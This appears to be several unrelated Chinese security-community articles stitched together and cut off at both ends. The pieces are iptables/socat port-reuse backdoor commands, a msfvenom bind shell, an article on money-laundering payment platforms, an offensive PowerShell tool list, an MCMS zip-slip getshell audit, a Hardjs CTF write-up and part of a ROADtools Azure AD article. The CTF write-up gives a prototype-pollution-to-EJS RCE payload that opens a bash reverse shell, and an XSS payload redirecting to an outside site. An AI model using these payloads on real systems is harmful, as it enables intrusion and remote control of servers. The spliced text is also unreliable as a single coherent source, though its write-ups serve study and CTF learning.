iptables -A INPUT -p tcp -m string --string 'threathunterleaving' --algo bm -m recent --name letmein --remove -j ACCEPT
#关闭开关，如果接收到一个含有threathunterleaving的TCP包，则将来源 IP 从letmein的列表中移除
iptables -t nat -A PREROUTING -p tcp --dport 80 --syn -m recent --rcheck --seconds 3600 --name letmein --rsource -j LETMEIN
#如果发现 SYN 包的来源 IP 处于 letmein 列表中，将跳转到 LETMEIN 链进行处理，有效时间为 3600 秒
kali中：
开启复用，开启后本机到目标 80 端口的流量将转发至目标的 SSH
echo threathuntercoming | socat - tcp:192.168.198.133:80
关闭复用，关闭后，80 恢复正常：
echo threathunterleaving | socat - tcp:192.168.198.133:80
开启连接：
关闭连接：
#### 问题
待续
### 参考自
[Linux利用iptables做端口复用_谢公子的博客-CSDN博客_iptables端口复用](https://blog.csdn.net/qq_36119192/article/details/105893499)
## 五.msf正向shell
### 1.生成
msfvenom -p windows/meterpreter/bind_tcp -f exe LPORT=80 -o shell.exe
//从目标的80端口出来
### 2.监听连接
use exploit/multi/handler
set payload windows/meterpreter/bind_tcp
run
### 3.结果
成功正向连接
web日志：
## 六.netsh
假定需要通过192.168.198.133的3389端口转80端口，则需要在192.168.198.133主机的命令行输入如下语句：
netsh interface portproxy add v4tov4 listenport=80 listenaddress=192.168.198.129 connectport=3389 connectaddress=192.168.198.129
netsh interface portproxy show all
删除：
netsh interface portproxy delete v4tov4 listenport=80 listenaddress=192.168.198.129
## 七.冰蝎正向后门代理流量
冰蝎有自带的正向流量代理工具
箭头所指处填写
0.0.0.0
和
本地要监听的流量代理端口即可
## 八.蚁剑反弹shell配合msf
需要用到蚁剑的插件：AS-exploit
蚁剑可以轻松正向shell反弹 | 社区文章 |
# 利用收款二维码为网络犯罪“开绿灯“，到底是谁在为黑灰产“输血”？
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
早前，通过产业挖掘分析，兼职人员过于频繁进行多笔小额资金支付，可能会引起支付平台的风控警觉，遭遇冻卡、断卡风险，那诈骗窝点是如何解决支付难题的呢？为此，我们深入研究了“跑分”“代付”行平台和相关产业运作。
## “代收”型跑分平台
指的是跑分平台以网赚为名，进行兼职众包，吸引兼职客向跑分平台提供收款二维码，跑分平台再提供给博彩平台，充当收款账户，赌客完成赌资后，跑分平台给予兼职客佣金。
由于兼职客在跑分平台进行兼职任务时，需缴纳保证金，也保障了跑分平台和赌博平台的资金安全。利用白账户进行赌资流转，既规避了风控监管，又大大提高转账成功率。跑分平台无需过度担忧洗钱资金池的银行卡被冻结的问题，为后期跑分平台与黑产/诈骗团伙利益分成转账，提供了充足的时间。
模式一：人民币. 支付宝、微信等收款二维码
模式二：数字货币. 支付宝、微信等收款二维码
模式三：代收型跑分（USDT虚拟货币）
USDT（泰达币）是由某外国公司发行的区块链数字货币，以1:1的比例锚定美元。
简单理解，就是对标美元自发行的数字货币，货币本身具有价值，可以交易买卖。
目前三种代收型跑分平台，目标客户都是赌博平台。跑分平台与赌博平台多为同一个团伙运营，主要是解决赌博平台的资金周转和洗钱问题。三者的区别在于，跑分客向跑分平台提供的收款账户和抵押物形式不同：
Ø前两种模式，在跑分平台抵押的是人民币，相当于赌资变现获得了人民币。
Ø第三种模式，虚拟货币的隐蔽性，USDT的稳定性受到了赌博产业的追捧，跑分平台将充值码、抵押物更换成USDT。一方面，赌客可以通过USDT充值赌资，一方面，赌博平台可以将USDT进行流转。
以上可以看出，目前黑产已不局限于使用接码平台、个人养号、水房等方式进行资产归集，而是使用众包的方式进行资产风险转移。通过对洗钱环节的深入研究发现，诈骗分子收款方式更为隐蔽，使用的第四方式支付用到了免签监控APP、自动转账APP。
## 首先，介绍一下什么是“第四方支付”？
人们已习惯将支付宝、微信支付等一类的网络支付称为第三方支付。通常情况，第三方支付需要获得央行的支付业务许可证，也就是支付牌照，有了牌照，才能开门营业（开展收款业务）。
第四方支付，本质是在第三方支付的基础上，融合了多方支付通道，所以不管用户用什么通道付款，都可以完成支付。过程中不直接触碰资金，近几年多被用作网络黑灰产业洗钱的重要工具。
图片来自网络
## 免签支付（收款）
若黑产搭建发卡平台贩卖黑产商品，由于个人无法申请微信和支付宝接口，收款方式为个人二维码。当买家付款时，发卡平台无法将订单与买家对应，这时就需要用到免签支付，利用监控APP做支付回调通知，把支付订单与买家“对上号”。
**免签收款闭环**
**使用“免签”，首先要安装监控APP布“环境”**
在第四方支付平台申请商户账户时，需要上传个人收款二维码（支付宝/微信），获得商户ID、支付密钥、支付接口地址；在监控APP中填写商户ID、支付密钥、支付接口，开启支付宝通知栏通知权限，完成联调（检测心跳）。
这样将个人收款二维码上传至收款渠道（博彩、发卡等），用户向该二维码支付时，支付宝收到支付通知，第四方平台可查看到支付订单记录。
**产业衍生**
由于平台风控，黑灰产使用第三方支付进行收款，账户很容易被冻结。如何让用户扫码支付的资金不经过第三方账号而直接流转至银行账户呢？这里就用到了
**“支付宝转卡”** ，即扫码支付二维码后，由原先的，跳转到“转至支付宝账户”，变成跳转至“转账至银行卡界面”。
正常情况下，支付宝扫码支付
支付宝转卡直接跳转至银行卡界面
斩断黑产资金链，摧毁黑产迅速变现能力，已成为从根源上打击治理网络犯罪工作的重中之重。以第四方支付为主的非法结算上下游链条，直接影响了资金流向。因此，持续加强对资金变现环节打击力度，遏制住不法资金向外流转的可能，也是相关单位组织及平台的重点努力方向。 | 社区文章 |
# 一些值得收藏的PowerShell工具
|
##### 译文声明
本文是翻译文章，文章来源：黑暗行者
原文地址：[http://mp.weixin.qq.com/s?__biz=MzA4NTU5Mzk0Mw==&mid=402000430&idx=1&sn=0beffeafa4876f320f49ee7e1942479c&scene=23&srcid=1130R6f1rX6kONbg30WqrBWx#rd](http://mp.weixin.qq.com/s?__biz=MzA4NTU5Mzk0Mw==&mid=402000430&idx=1&sn=0beffeafa4876f320f49ee7e1942479c&scene=23&srcid=1130R6f1rX6kONbg30WqrBWx#rd)
译文仅供参考，具体内容表达以及含义原文为准。
****
** UnmanagedPowerShell :**
[https://github.com/leechristensen/UnmanagedPowerShell](http://https://github.com/leechristensen/UnmanagedPowerShell)
可以从一个非托管程序来执行PowerShell , 经过一些修改后也可以被用来注入到其他进程。
** Throwback:**<https://github.com/silentbreaksec/Throwback>
HTTP/S 标记注入
** ThrowbackLP:**<https://github.com/silentbreaksec/ThrowbackLP>
监听站反向注入
** CrackMapExec:**<https://github.com/byt3bl33d3r/CrackMapExec>
Windows/Active Directory环境下的一站式渗透测试
** PowerShellMafia:**<https://github.com/PowerShellMafia/PowerSploit>
PowerSploit 是Microsoft中能够帮助渗透人员在所有阶段进行评估的PowerShell模块集。
** nishang:**<https://github.com/samratashok/nishang>
Nishang是基于PowerShell的渗透测试专用工具。集成了框架、脚本和各种payload。这些脚本是由Nishang的作者在真实渗透测试过程中有感而发编写的,具有实战价值。包括了下载和执行、键盘记录、dns、延时命令等脚本。(Freebuf的相关帖子:[http://www.freebuf.com/tools/10443.html)](http://www.freebuf.com/tools/10443.html\))
** ReflectiveDLLInjection
:**<https://github.com/stephenfewer/ReflectiveDLLInjection>
反射型 DLL 注入
是一种库注入技术,主要被用来执行一个库从内存到主机进程的加载。因此这个库应能够通过实现最小的PE文件加载器来加载自身,以最小的主机系统与进程间的相互作用来进行管理。
** PSRecon :**<https://github.com/gfoss/PSRecon>
PSRecon会使用PowerShell(V2或更高版本)从远程的windows主机收集数据,然后将数据放入文件夹中,对全部提取数据、PowerShell、各种系统性能进行哈希,最后将数据发送给安全团队。该数据可以共享,发送邮件或者局部保留。
**powershell:**<https://github.com/clymb3r/PowerShell>
该工具是PowerSploit目录的一部分
**powershell:**<https://github.com/MikeFal/PowerShell>
用SQL Server数据库进行管理,包含完成的以及正在进行的PowerShell脚本。
**PowerShellArsenal** :<https://github.com/mattifestation/PowerShellArsenal>
用于逆向工程的PowerShell模块,可进行反汇编托管以及非托管的代码、进行.NET恶意软件分析、分析内存、解析文件格式和内存结构、获得内部系统信息等。
**PowerShell-AD-Recon:**<https://github.com/PyroTek3/PowerShell-AD-Recon>
一个有用的PowerShell脚本
**PowerCat** :<https://github.com/secabstraction/PowerCat>
PowerShell的TCP/ IP瑞士军刀,适用于Netcat & Ncat.
**Unicorn** :<https://github.com/trustedsec/unicorn>
Unicorn 是一个用于PowerShell降级攻击和直接注入shellcode到内存中的简单工具。
**Posh-SecMod** :<https://github.com/darkoperator/Posh-SecMod>
用Security cmdlets来进行安全工作的PowerShell模块
**PowerShell API 手册** :<http://www.pinvoke.net/>
PInvoke.net主要是一个wiki,允许开发者找到,编辑和添加PInvoke的*签名、用户定义类型、以及与调用Win32和其他非托管API的托管代码相关的任何其他信息。
**PowerTools工具 :**<http://https//github.com/PowerShellEmpire/PowerTools>
[
](http://https//github.com/PowerShellEmpire/PowerTools)
**Empire** :<https://github.com/powershellempire/empire>
[
](https://github.com/powershellempire/empire)
**PowerShell后期漏洞利用代理工具** (详见:<http://www.freebuf.com/articles/web/76892.html>)
**Honeyport :**<https://github.com/Pwdrkeg/honeyport>
一个用于创建Windows honeyport的PowerShell脚本
**PowerMemory :**<https://github.com/giMini/PowerMemory>
可利用文件和内存中当前的一些证书 | 社区文章 |
### 前言
这段时间忙于工作，无法自拔~~~
上周末刚好有空，随便逛了一下java开源cms，发现一个star挺多的mcms，就看了一下issues,发现了两个比较有意思的地方（主要感觉问题没有修复完全），写出来请大伙指点指点。
### 分析
毕竟水平太次，只能写点简单的东西了~~~
后台模版管理
该cms开发上使用了Freemarker框架，在一些历史版本中，也存在很多模版注入的问题。
这些问题大部分是通过后台模版管理模块可上传zip文件进行自解压或者可修改模版htm文件插入payload达到目的。
* 上传zip文件解压：
net.mingsoft.basic.action.ManageFileAction#uploadTemplate：
跟进uploadTemplate：
public ResultData uploadTemplate(BaseFileAction.Config config) throws IOException {
String[] errorType = this.uploadFileDenied.split(",");
String fileName = config.getFile().getOriginalFilename();
if (fileName.lastIndexOf(".") < 0) {
this.LOG.info("文件格式错误:{}", fileName);
return ResultData.build().error(this.getResString("err.error", new String[]{this.getResString("file.name")}));
} else {
String fileType = fileName.substring(fileName.lastIndexOf("."));
boolean isReal = (new File(this.uploadTemplatePath)).isAbsolute();
String realPath = null;
if (!isReal) {
realPath = BasicUtil.getRealPath("");
} else {
realPath = this.uploadTemplatePath;
}
if (!config.isRename()) {
fileName = config.getFile().getOriginalFilename();
if (fileName.endsWith(".") && System.getProperty("os.name").startsWith("Windows")) {
this.LOG.info("文件类型被拒绝:{}", fileName);
return ResultData.build().error(this.getResString("err.error", new String[]{this.getResString("file.type")}));
}
fileType = fileName.substring(fileName.lastIndexOf("."));
} else {
fileName = System.currentTimeMillis() + fileType;
}
String[] var7 = errorType;
int var8 = errorType.length;
String path;
for(int var9 = 0; var9 < var8; ++var9) {
path = var7[var9];
if (fileType.equalsIgnoreCase(path)) {
this.LOG.info("文件类型被拒绝:{}", fileType);
return ResultData.build().error(this.getResString("err.error", new String[]{this.getResString("file.type")}));
}
}
String uploadFolder = realPath + File.separator;
if (StringUtils.isNotBlank(config.getUploadPath())) {
uploadFolder = uploadFolder + config.getUploadPath() + File.separator;
}
File saveFolder = new File(uploadFolder);
File saveFile = new File(uploadFolder, fileName);
if (!saveFolder.exists()) {
FileUtil.mkdir(saveFolder);
}
config.getFile().transferTo(saveFile);
path = uploadFolder.replace(realPath, "") + "/" + fileName;
return ResultData.build().success((new File("/" + path)).getPath().replace("\\", "/").replace("//", "/"));
}
}
这里有个黑名单的判断。通过String[] errorType = this.uploadFileDenied.split(",");和注解拿到黑名单
application.yml
不能为exe jsp jspx sh 等类型文件，然后通过unZip接口解压：
net.mingsoft.basic.action.TemplateAction#unZip：
这里主要手法就是上传包含payload的模板文件，然后设置进行引用。
* 修改模板文件：
同样后台提供了net.mingsoft.basic.action.TemplateAction#writeFileContent去写内容：
通过该接口，在一些历史版本中同样可以写入模板注入payload。
* 思考
到这里，如果是以tomcat部署war的形式，是否可以通过上传zip（war）自解压到上级目录getshell
在5.2.1版本中，进一步跟进net.mingsoft.basic.action.TemplateAction#unZip：
调试后发现最后会通过cn.hutool.core.io.FileUtil#checkSlip判断解压文件位置是否跳出父目录，我们通过../进行路径穿越的话显然是会报错：
这样看的话，这个整个应用中应该不存在这个问题，但是当我git下最新版本（5.2.8）后却发现这里的unzip没有调用该方法，那么说明在最新版本中是可以利用的。
private void unzip(File zipFile, String descDir) throws IOException {
ZipArchiveInputStream inputStream = new ZipArchiveInputStream(new BufferedInputStream(new FileInputStream(zipFile)));
File pathFile = new File(descDir);
if (!pathFile.exists()) {
pathFile.mkdirs();
}
ZipArchiveEntry entry = null;
while((entry = inputStream.getNextZipEntry()) != null) {
String[] dirs = entry.getName().split("/");
String tempDir = descDir;
String[] var8 = dirs;
int var9 = dirs.length;
for(int var10 = 0; var10 < var9; ++var10) {
String dir = var8[var10];
if (dir.indexOf(".") == -1) {
tempDir = tempDir + File.separator.concat(dir);
FileUtil.mkdir(tempDir);
}
}
if (entry.isDirectory()) {
File directory = new File(descDir, entry.getName());
directory.mkdirs();
} else {
BufferedOutputStream os = null;
try {
this.LOG.debug("file name => {}", entry.getName());
try {
os = new BufferedOutputStream(new FileOutputStream(new File(descDir, entry.getName())));
IOUtils.copy(inputStream, os);
} catch (FileNotFoundException var15) {
this.LOG.error("模版解压{}不存在", entry.getName());
var15.printStackTrace();
}
} finally {
IOUtils.closeQuietly(os);
}
}
}
}
将整个项目打包成war部署：
构造zip文件：
通过后台上传，成功解压到webapps目录：
getshell:
其实这算是常规方法，很多类似应用都存在同样问题。
修改ueditor配置上传
5.2.1版本中存在net.mingsoft.basic.action.web.EditorAction#editor一个前台的接口：
跟进com.mingsoft.ueditor.MsUeditorActionEnter：
这个逻辑很简单，将我们传入jsonconfig写入获取的jsonobject中，这里的jsonobject实际上就是static/plugins/ueditor/1.4.3.3/jsp/config.json：
接着执行com.baidu.ueditor.ActionEnter#exec：
跳到com.baidu.ueditor.ActionEnter#invoke：
这里this.actionType通过传参action得到，可以控制要执行的动作：
actioncode为1、2、3、4对应的都是上传：
跟进case：
conf = this.configManager.getConfig(actionCode);//获取配置
state = (new Uploader(this.request, conf)).doExec();//执行上传
com.baidu.ueditor.ConfigManager#getConfig：
看到这里，基本上就可以干很多事了，那么新版本中也是进行了修复：
使用cn.hutool.core.io.FileUtil#normalize对三个路径进行了修复。但是上传的文件后缀还是可以控制的，在特殊情况下也可以通过jspx而getshell。（至于为什么只对路径进行修复，我想应该是该issue提交的师傅原来利用该缺陷通过修改上传地址上传了一个包含freemarker的payload从而进行模板执行，那么估计人家想的就是控制路径了吧）
在项目（最新版本）以war包部署在tomcat时：
### 总结
怎么说呢，不管怎样，还是学习比上班要快乐~~~~
### 参考
<https://gitee.com/mingSoft/MCMS/issues/I4QZ1O>
<https://gitee.com/mingSoft/MCMS/issues/I4Q4NV> | 社区文章 |
### 0x00 前言
这次XNUCA2019的WEB题四道只有两道被解出，其中这道Hardjs是做出人数较少的一道，还是比较有意思的，所以在此分享一下解题思路。
### 0x01 初步分析
题目直接给了源码，所以可以进行一下审计。打开源码目录，最显眼的就是`server.js`和`robot.js`。
先分析`server.js`。
可以发现这个服务器是nodejs，并且用了express这个框架，模板渲染引擎则用了ejs。
审计一下代码可以看到有以下的路由：
* `/` 首页
* `/static` 静态文件
* `/sandbox` 显示用户HTML数据用的沙盒
* `/login` 登陆
* `/register` 注册
* `/get` json接口 获取数据库中保存的数据
* `/add` 用户添加数据的接口
除了`/static`，`/login`和`/register`以外，所以路由在访问的时候都会经过一个`auth`函数进行身份验证
因为做了转义处理，所以应该是没有Sql注入的问题，需要从其他方面下手。
另外在初始化的时候有这么一句
app.use(bodyParser.urlencoded({extended: true})).use(bodyParser.json())
所以我们可以通过json格式传递参数到服务端
### 0x02 发现问题
在`/get`中我们可以发现，查询出来的结果，如果超过5条，那么会被合并成一条。具体的过程是，先通过sql查询出来当前用户所有的数据，然后一条条合并到一起，关键代码如下
var sql = "select `id`,`dom` from `html` where userid=? ";
var raws = await query(sql,[userid]);
var doms = {}
var ret = new Array();
for(var i=0;i<raws.length ;i++){
lodash.defaultsDeep(doms,JSON.parse( raws[i].dom ));
var sql = "delete from `html` where id = ?";
var result = await query(sql,raws[i].id);
}
其中的`lodash.defaultsDeep(doms,JSON.parse( raws[i].dom
));`恰好是前段时间公布的`CVE-2019-10744`的攻击对象，再看一下版本刚好是4.17.11，并没有修复这个漏洞。所以我们可以利用这个漏洞进行原型链污染。
#### 0x02.1 原型链污染
这里简单介绍一下原型链污染(prototype pollution)
Javascript里每个类都有一个`prototype`的属性，用来绑定所有对象都会有变量与函数，对象的构造函数又指向类本身，同时对象的`__proto__`属性也指向类的`prototype`。因此，有以下关系：
并且，类的继承是通过原型链传递的，一个类的`prototype`属性指向其继承的类的一个对象。所以一个类的`prototype.__proto__`等于其父类的`prototype`，当然也等于该类对象的`__proto__.__proto__`属性。
我们获取某个对象的某个成员时，如果找不到，就会通过原型链一步步往上找，直到某个父类的原型为`null`为止。所以修改对象的某个父类的`prototype`的原型就可以通过原型链影响到跟此类有关的所有对象。
当然，如果某个对象本身就拥有该成员，就不会往上找，所以利用这个漏洞的时候，我们需要做到的是找到某个成员被判断是否存在并使用的代码。
#### 0x02.2 发现利用点
在`server.js`中，有一处很符合我们要寻找的利用点，即`auth`函数中判断用户的部分
function auth(req,res,next){
// var session = req.session;
if(!req.session.login || !req.session.userid ){
res.redirect(302,"/login");
} else{
next();
}
}
在我们没有登陆以前，`req.seesion.login`和`req.session.userid`是undefined的，而session对象的父类肯定包含了Object，所以我们只要修改Object中的这部分代码就可以绕过登陆，以admin身份访问网页。
### 0x03 尝试XSS攻击
知道了上述的利用点以后，回去审计`robot.py`可以发现，flag值是存在环境变量中的，并且是admin的密码，robot会打开本地页面的首页`/`(原先是会自动跳转到`/login`，当然我们现在可以bypass掉这个跳转)，然后robot会根据form的name填写用户名和密码，并点击submit按钮。
因为首页会自动加载我们保存的html数据，所以这个时候我的思路是可以构造一个form，但是提交地址是自己的服务器，这样就可以接受到来自bot的flag了。
再加上`robot.py`中的以下细节，我认为从前端下手应该是出题人预留的预期解之一。``
chrome_options.add_argument('--disable-xss-auditor')
...
print(client.current_url)
所以审计前端的`app.js`
发现所有我们保存在数据库的数据是动态加载到一个有`sanbox`标签的iframe中，这就导致即使我们可以写一个表单，也无法被提交，我们的数据中的js是不会被执行的。
不过恰巧的是`app.js`使用的Jquery前段时间也有一个原型链污染漏洞被曝出，而且在页面中也使用到了
for(var i=0 ;i<datas.length; i++){
$.extend(true,allNode,datas[i])
}
具体的CVE号是`CVE-2019-11358`，利用方法类似上文的漏洞。
如果找到利用链应该是可以成功攻击的，不过遗憾的是本人水平有限，没能在比赛的时候找到攻击方法。
投稿的时候发现官方WP出了，并且给出了这种解法的攻击payload，供大家参考
{"type":"test","content":{"__proto__": {"logger": "<script>window.location='http://wonderkun.cc/hack.html'</script>"}}}
### 0x04 挖掘后端攻击方法
因为前端攻击失败，就希望通过后端找到可利用的点。
审计`server.js`的时候可以看到，返回页面是通过`res.render(xxx)`渲染的，所以尝试从这里下手，跟进模板渲染寻找符合我们上述条件的利用点。
因为代码较多，所以以下分析省略部分无关代码。
通过跟进`/login`的`res.render`
res.render = function render(view, options, callback) {
var app = this.req.app;
var done = callback;
var opts = options || {};
var req = this.req;
var self = this;
....
// render
app.render(view, opts, done);
};
可以发现来到了`response.js`的中对`res.render`的定义，并且调用了`app.render`，同时，将进行了参数配置传递。继续跟进，来到`application.js`
app.render = function render(name, options, callback) {
var cache = this.cache;
var done = callback;
var engines = this.engines;
var opts = options;
var renderOptions = {};
var view;
....
// render
tryRender(view, renderOptions, done);
};
发现调用了`tryRender`，并继续传递配置，我们继续跟进
function tryRender(view, options, callback) {
try {
view.render(options, callback);
} catch (err) {
callback(err);
}
}
调用了`view.render`，继续跟进就来到了`view.js`
View.prototype.render = function render(options, callback) {
debug('render "%s"', this.path);
this.engine(this.path, options, callback);
};
调用了`engine`，终于来到了模板渲染引擎`ejs.js`中。
exports.renderFile = function () {
var args = Array.prototype.slice.call(arguments);
var filename = args.shift();
var cb;
var opts = {filename: filename};
var data;
var viewOpts;
...
return tryHandleCache(opts, data, cb);
};
发现跳到`renderFile`函数，并且又调用了`tryHandleCache`，我这里省略了opts传递的代码。
function tryHandleCache(options, data, cb) {
var result;
...
result = handleCache(options)(data);
...
}
这里可以看到`handleCache`返回了一个函数，并且将data传入进行执行，而这个result就是最后生成的页面了，这个时候可以感觉到，有RCE的可能性。继续跟进。
function handleCache(options, template) {
var func;
var filename = options.filename;
var hasTemplate = arguments.length > 1;
...
func = exports.compile(template, options);
if (options.cache) {
exports.cache.set(filename, func);
}
return func;
}
跟进生成func的`compile`
exports.compile = function compile(template, opts) {
var templ;
...
templ = new Template(template, opts);
return templ.compile();
};
发现新建了一个Template对象并执行其成员方法得到返回的func。我们跟进其成员方法`compile`查看。
compile: function () {
var src;
var fn;
var opts = this.opts;
var prepended = '';
var appended = '';
var escapeFn = opts.escapeFunction;
var ctor;
if (!this.source) {
this.generateSource();
prepended += ' var __output = [], __append = __output.push.bind(__output);' + '\n';
if (opts.outputFunctionName) {
prepended += ' var ' + opts.outputFunctionName + ' = __append;' + '\n';
}
if (opts._with !== false) {
prepended += ' with (' + opts.localsName + ' || {}) {' + '\n';
appended += ' }' + '\n';
}
appended += ' return __output.join("");' + '\n';
this.source = prepended + this.source + appended;
}
...
src = this.source;
...
try {
if (opts.async) {
// Have to use generated function for this, since in envs without support,
// it breaks in parsing
try {
ctor = (new Function('return (async function(){}).constructor;'))();
}
catch(e) {
if (e instanceof SyntaxError) {
throw new Error('This environment does not support async/await');
}
else {
throw e;
}
}
}
else {
ctor = Function;
}
fn = new ctor(opts.localsName + ', escapeFn, include, rethrow', src);
}
...
// Return a callable function which will execute the function
// created by the source-code, with the passed data as locals
// Adds a local `include` function which allows full recursive include
var returnedFn = function (data) {
var include = function (path, includeData) {
var d = utils.shallowCopy({}, data);
if (includeData) {
d = utils.shallowCopy(d, includeData);
}
return includeFile(path, opts)(d);
};
return fn.apply(opts.context, [data || {}, escapeFn, include, rethrow]);
};
returnedFn.dependencies = this.dependencies;
return returnedFn;
},
这段代码中
if (opts.outputFunctionName) {
prepended += ' var ' + opts.outputFunctionName + ' = __append;' + '\n';
}
就是我们一直寻找的东西，这个对象会与其他生成的模板字符串一起拼接到`this.source`，然后传递给`src`，接着是`fn`，然后以`returnedFn`返回并最后被执行。而一路跟进的时候可以发现，并没有`outputFunctionName`的身影，所以只要给Object的`prototype`加上这个成员，我们就可以实现从原型链污染到RCE的攻击过程了！
### 0x05 成功攻击
可以发现`process`是可以访问到的，所以我们可以用来反弹shell
最后的payload如下
{
"content": {
"constructor": {
"prototype": {
"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/xxx/xx 0>&1\"');var __tmp2"
}
}
},
"type": "test"
}
发送5次请求，然后访问`/get`进行原型链污染，最后访问`/`或`/login`触发`render`函数，成功反弹shell并getflag
### 0x06 总结
原型链危害不小，不过找到合适的利用点也很花费审计的时间和精力，原先还以为这是个非预期，投稿的时候看到WP才知道这也在出题师傅的意料之中，tql。
第一次投稿，可能有不少错误，望各位师傅斧正，谢谢。
### 0x07 参考链接
<https://www.leavesongs.com/PENETRATION/javascript-prototype-pollution-attack.html>
<https://www.xctf.org.cn/library/details/17e9b70557d94b168c3e5d1e7d4ce78f475de26d/>
<https://snyk.io/blog/snyk-research-team-discovers-severe-prototype-pollution-security-vulnerabilities-affecting-all-versions-of-lodash/>
<https://github.com/NeSE-Team/OurChallenges/tree/master/XNUCA2019Qualifier/Web/hardjs>
<https://www.anquanke.com/post/id/177093> | 社区文章 |
# 前言
目前，越来越多的企业选择将企业的域环境部署到云服务器中，虽然关于Windows的活动目录架构研究越来越多，但是云上域的相关介绍却少之又少，Dirk-jan
Mollema通过对Azure AD的深入研究，结合自己开发诸多工具的经验，编写了ROADtools。
# ROADtools - 微软Azure AD渗透框架
在过去的一年半中，我对Azure AD及其工作方式进行了大量的摸索。 Azure
AD在企业中越来越普遍，因此安全性也变得越来越重要。尽管传统的Windows Server Active
Directory已经拥有大量的研究和工具，但我认为Azure
AD在这方面是落后的。在本文中，我将介绍ROADtools框架中的第一个工具：ROADrecon。该框架是在我研究期间开发的，希望对任何想要分析Azure
AD的人（无论是从红队还是从蓝队的角度）都有所启发。这篇文章是该系列文章的第一部分，在该系列文章中，我将深入介绍Azure AD和ROADtools框架。
ROADtools和ROADrecon都是免费的开源工具，可以在我的[GitHub](https://github.com/dirkjanm/ROADtools)上找到。我还直播编写了此处的大多数内容，您可以[在油管上观看](https://www.youtube.com/watch?v=o5QDt30Pw_o)。
# 为什么使用这个框架
每当我发现自己在探索新网络或研究新主题时，我都想通过一种易于理解的方式去了解尽可能多的信息。在Active
Directory环境中，使用LDAP来查询信息相对简单，并且有许多工具可以查询此信息并将其转换为更易于使用的格式。我之前编写了一个简单的工具[ldapdomaindump](https://github.com/dirkjanm/ldapdomaindump)，试图保存所有可以离线收集的信息，以便我能快速知道“该用户还属于哪一个组”或“他们是否有对系统X有价值的组”？
后来，很多公司经常使用Microsoft Office 365并将其产品迁移到Azure，实际Azure上并没有一个工具可以让人快速了解其环境。 Azure
Portal需要通过多次点击才能找到需要内容，并且可以禁用除管理员以外的任何用户。各种Powershell模块、.NET库和其他查询Azure
AD的官方方法对它们提供的信息、身份验证方法和适用于它们的限制都提供了不同程度的支持。当研究Azure
AD时，我希望有一种方法，可以使用任何身份验证方法（无论是否合法获得）来访问所有可能的信息，并且可以离线使用。由于没有一种官方方法可以提供这种可能性，我很快意识到构建自定义框架是实现它的唯一方法。因此，我为自己设定了一些目标：
* 为红队和蓝队提供工具，以一种便捷的方式浏览所有Azure AD数据。
* 从互联网端显示可用的丰富信息，他可以是拥有一套有效凭证的任何人。
* 更好地了解Azure AD的工作原理和可能性。
* 提供一个框架，人们可以在该框架上建立并扩展其用例。
从编写ldapdomaindump的过程中，我确实学到了一些东西，它将所有信息保留在内存中，直到计算出所有递归组成员关系为止，然后将其写入磁盘。正如预期的那样，在其中有数千个用户的环境中，这种实用性相当糟糕。我花了很多时间思考如何做（还编写了更多的实际代码），而忽略了所有访问Azure
AD的方式，所以今天是 **R** ogue **O** ffice 365 and **A** zure (active) **D** irectory
tools的第一个版本！
# ROADrecon
这个框架中的第一个(可能也是最常用的)工具是ROADrecon。简而言之，它是这样做的:
* 使用自动生成的元数据模型在磁盘上创建SQLAlchemy支持的数据库。
* 使用Python中的异步HTTP调用将Azure AD图中的所有可用信息转储到此数据库。
* 提供插件来查询这个数据库并且输出它到一个有用的格式。
* 在Angular中提供一个广泛的接口，可以直接查询离线数据库进行分析。
## 从哪里获取数据
因为Azure AD是一种云服务，所以没有办法逆向它是如何工作的，也没有一个中央存储库来存储你可以访问的所有数据。因为Azure AD与Windows
Server AD完全不同，所以也没有LDAP来查询目录。在研究Azure并查看Azure Portal中的请求时，我注意到Azure
Portal在调用Azure AD图的另一个版本，即`1.61-internal`版本。
Azure AD图的内部版本比微软提供的任何官方API都要公开更多的数据。我谈到了一些有趣的东西，你可以在我的[BlueHat Seattle
talk](https://dirkjanm.io/assets/raw/Im in your cloud
bluehat-v1.0.pdf。io/assets/raw/Im在你的云bluehat-1.0.pdf)里发现这个API。虽然人们可能不应该使用这个版本，但它仍然对任何用户都是可用的。默认情况下，即使当Azure
Portal受到限制，也可以以一个通过身份验证的用户身份查询有关该目录的几乎所有信息。
下一个问题是如何以结构化的方式在本地存储这些数据。API将所有内容以JSON对象的形式进行流处理，这种格式对于传输数据很有用，但当存储和搜索数据却不是这样。所以理想情况下，我们应该有一个数据库，其中对象及其关系被自动存储和映射。为此，ROADrecon使用SQLAlchemy对象关系映射器(ORM)。这意味着，ROADrecon定义对象的结构及其关系，SQLAlchemy决定如何从底层数据库存储和检索这些对象。为了创建对象结构，ROADrecon使用Azure
AD图公开的OData元数据定义。这个XML文档定义了目录中的所有对象类型、以及它们的属性和关系。
我写了一些相当简陋的代码，将大部分元数据XML自动转换为整洁和定义良好的数据库结构，如下所示:
然后SQLAlchemy为这个模型创建数据库，默认情况下是一个SQLite数据库，但是也支持PostgreSQL(在我的测试中，性能差异很小，但是SQLite看起来稍微快一些)。这样做的主要优点是事后查询数据非常容易，而不需要自己编写任何SQL查询。
这个数据库模型实际上不是ROADrecon的一部分，而是roadlib,
ROADtools的中央库组件。这样做的原因是，如果你想构建一个外部工具，与ROADrecon填充的数据库接口交互，你实际上不需要自己导入ROADrecon及其所有依赖。相反，您可以导入包含数据库逻辑的库，它不依赖于ROADrecon用于转换和显示数据的所有第三方代码。
## 导出数据
在Azure AD中，ROADrecon使用3个步骤来转储和探索数据:
1. 认证 - 使用用户名/密码、访问令牌、设备代码流等
2. 将数据转储到磁盘
3. 浏览数据或使用插件将其转换为有用的格式
### 认证
身份验证是开始收集数据的第一步。ROADrecon提供了相当多的认证选项:
usage: roadrecon auth [-h] [-u USERNAME] [-p PASSWORD] [-t TENANT] [-c CLIENT] [--as-app] [--device-code] [--access-token ACCESS_TOKEN]
[--refresh-token REFRESH_TOKEN] [-f TOKENFILE] [--tokens-stdout]
optional arguments:
-h, --help show this help message and exit
-u USERNAME, --username USERNAME
Username for authentication
-p PASSWORD, --password PASSWORD
Password (leave empty to prompt)
-t TENANT, --tenant TENANT
Tenant ID to auth to (leave blank for default tenant for account)
-c CLIENT, --client CLIENT
Client ID to use when authenticating. (Must be a public client from Microsoft with user_impersonation permissions!).
Default: Azure AD PowerShell module App ID
--as-app Authenticate as App (requires password and client ID set)
--device-code Authenticate using a device code
--access-token ACCESS_TOKEN
Access token (JWT)
